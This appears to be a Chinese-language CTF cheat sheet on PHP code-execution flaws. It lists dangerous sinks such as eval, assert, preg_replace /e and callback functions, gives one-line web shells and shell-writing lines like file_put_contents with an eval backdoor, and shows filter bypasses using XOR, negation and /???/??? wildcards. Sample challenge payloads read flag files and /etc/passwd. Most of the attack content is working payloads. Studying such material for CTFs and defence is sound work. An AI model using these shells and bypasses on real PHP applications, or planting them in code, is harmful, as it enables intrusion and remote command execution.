0x01 漏洞点
eval()
返回运行结果,可以执行字符串,也可以传入函数名(此时不加分号)
1 | eval(phpinfo()); |
assert()
它只能执行一行代码,但可以在动态函数里利用,可以和eval合用
preg_replace()与/e匹配模式
可以构造如下shell
1
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
create_function()
主要用来创建匿名函数,如果没有严格对参数传递进行过滤,
攻击者可以构造特殊字符串传递给create_function()执行任意命令。1
$func =create_function('',$_REQUEST['cm/d']);$func();
动态函数
1
2
3
4$_GET['a']($_GET['b']);
payload:
?a=assert&b=@eval(phpinfo());需要注意的是传入的a参数,只能是函数的名字的字符串,而eval其实不是一个函数,而是一种language construct,将eval当作a传入会有如下报错
Fatal error: Call to undefined function eval()
类似的还有language construct,都不能用在动态函数上
1
echo, print, unset(), isset(), empty(), include, require,like
回调函数
可以利用它来绕过黑名单,回调函数在Seay的《代码审计》有很好的整理
- array_map()
1 | //?func=system&cmd=whoami |
call_user_func()/call_user_func_array()
- call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func(assert,$_GET['cmd']);
- call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array("assert",array($_GET['cmd']));
- call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
array_filter
1
2array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
array_filter(array($_GET['cmd']),$_GET['func']);usort,uasort()
- usort() 通过用户自定义的比较函数对数组进行排序。(version>=5.6)
- uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。(version>= 5.6)
0x02 利用思路
RCE
利用命令执行函数造成RCE
1
2$a=$_GET['hack'];
echo `$a`;getshell
file_put_contents()/fputs() 写入shell
1
2file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');error_log()写入shell
FileInclusion
include$_GET[a];
(在echo,include,require之后传入URL参数,可以不加空格)
0x03 Techniques
1.限制了长度
- $_GET[1]&1= 将参数传入其他的GET参数
- 利用边长参数+可调用回调函数的方式传参
2.限制了字母和数字
先来看两个技巧
2.1字符串内解析变量
双引号内的变量会被解析,花括号{} 也可以,这样就相当于解析了两次
1 | <?php |
花括号内第一个字符为如下之一可以直接执行字符串,不过只能执行”一行”
空格/TAB/注释/换行/加减号/!/@/~/
1 | <?php |
2.2一些不包含数字和字母过滤的绕过
- 异或
- 中文
- 截断,自增等操作
利用Xorbypass.py爆破出指定字符
1 | #Xorbypass.py |
有了以上两中姿势就可以巧妙地来构造payload咯,下面是几个经典例题
example:
OmegaSector-MeePwn-2018 ,如下可作为一个shell
1
2"`{{{"^"?<>/";${$_}[_](${$_}[__]); =$_=
$_GET[_]($_GET[__]);XMan_MEIZIJIU_PHP
1
2
3?code=${"`{{{"^"?<>/"}[_]()&_=getFlag;
?code=$_=('[@)`@!['^'<%]&,@<');$_();
${~"\xa0\xb8\xba\xab"}[_]();&_=getFlag #取反
3.字母和数字下划线
用‘+’做GET参数名
1 | ${"`{{{"^"?<>/"}['+']();&+=getFlag |
4.字母和数字下划线和$
在安恒杯子9月赛里遇到,闭合整个php标签(<?php),再利用通配符命令执行,如下payload对上面过滤数字字母的情况都可以用
另外这个姿势还涉及到通配符的利用/???/???一般会被匹配到/bin/cat
1 | code= =`/???/??? ????.???` |
5.变长参数传参
变长参数的特性php>=5.6
1 | ?1[]=a&1[]=b&2=c |
6.addslashes绕过
1 | $str=@(string)$_GET['str']; |
payload
1 | str=${var_dump(cat%20../../../etc/passwd)} |
花括号将其内部的内容解析为字符串
7.过滤了[]
{}可以代替[]
8.数字加\
过滤模式:
1 | [^0-9\\\] |
用八进制字符串
\[0-7]{1,3}
用八进制表示的字符串
1 | def conn(strr): |
0x05 Example:
- Jarvis OJ babyphp assert
index.php:
1 |
|
1 | 注入$file参数闭合单引号 |
payload:
1 | flag'.system("cat templates/flag.php;").' |
- 安恒杯9月web2
1 |
|
payload:
1 | code= =`/???/??? ????.???` |